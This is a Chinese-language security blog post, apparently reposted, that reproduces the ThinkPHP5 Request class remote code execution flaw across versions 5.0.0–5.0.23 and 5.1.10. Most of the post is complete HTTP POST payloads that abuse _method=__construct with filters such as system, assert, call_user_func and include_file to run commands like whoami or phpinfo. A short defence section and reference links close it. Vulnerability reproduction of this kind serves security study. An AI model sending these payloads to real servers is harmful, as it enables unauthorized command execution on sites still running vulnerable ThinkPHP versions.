ThinkPHP5 核心類 Request 遠程代碼漏洞復現+Poc


ThinkPHP5 核心類 Request 遠程代碼漏洞復現+Poc

漏洞介紹

2019年1月11日,ThinkPHP團隊發布了一個補丁更新,修復了一處由於不安全的動態函數調用導致的遠程代碼執行漏洞。

ThinkPHP官方發布新版本5.0.24,在1月14日和15日又接連發布兩個更新,這三次更新都修復了一個安全問題,該問題可能導致遠程代碼執行 ,這是ThinkPHP近期的第二個高危漏洞,兩個漏洞均是無需登錄即可遠程觸發,危害極大。

之前寫過一篇文章《ThinkPHP-5-代碼執行漏洞復現-POC》里面有提過一次,這篇文章主要對其不同版本下進行詳細的復現。

影響版本

啟明星辰ADLab安全研究員對ThinkPHP的多個版本進行源碼分析和驗證后,確認具體受影響的版本為ThinkPHP5.0-5.0.23完整版。

漏洞復現

本地環境采用ThinkPHP 5.0.10和5.0.22完整版+PHP7.0.9+Apache2.4.39進行復現。安裝環境后執行POC即可執行系統命令

版本 5.0.0-5.0.12

Payload:

POST /public/index.php?s=index/index/index HTTP/1.1
Host: 192.168.1.236
Content-Length: 48
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

s=whoami&_method=__construct&filter[]=system

POC執行結果如下圖:

版本 5.0.12-5.0.23

在5.0.12之后的版本中,在thinkphp/library/think/App.php的module方法中增加了設置filter過濾屬性的代碼

開啟debug調試模式,打開配置文件config.php

修改為

Payload 1

POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

POC執行結果如下圖:

Payload 2

POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close

_method=__construct&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&x=phpinfo();

POC執行結果如下圖:

Payload 3

POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close

_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo()

POC執行結果如下圖:

Payload 4

POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close

_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

POC執行結果如下圖:

版本 5.1.10(PHP7.3.4+Apache2.4.39)

5.1和5.2兩個版本現在用的很少,並且針對於這兩個版本有點雞肋,需要index.php文件中跳過報錯提示。 語句:error_reporting(0);

需設置 error_reporting(0);

Payload:

POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close

c=system&f=whoami&_method=filter

一開始執行結果如下圖:

找到RuleGroup.php 新增一行代碼error_reporting(0);跳過報錯

然后查看結果

漏洞防御

  1. 線上環境建議關閉debug模式

  2. 升級到ThinkPHP 5.0.24

  3. 手動增加過濾,在thinkphp/library/think/Request.php添加如下代碼:

參考鏈接

ThinkPHP5 遠程代碼執行漏洞分析

ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

ThinkPHP5 核心類 Request 遠程代碼漏洞分析

ThinkPHP 5.0.x、5.1.x、5.2.x 全版本遠程命令執行漏洞


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM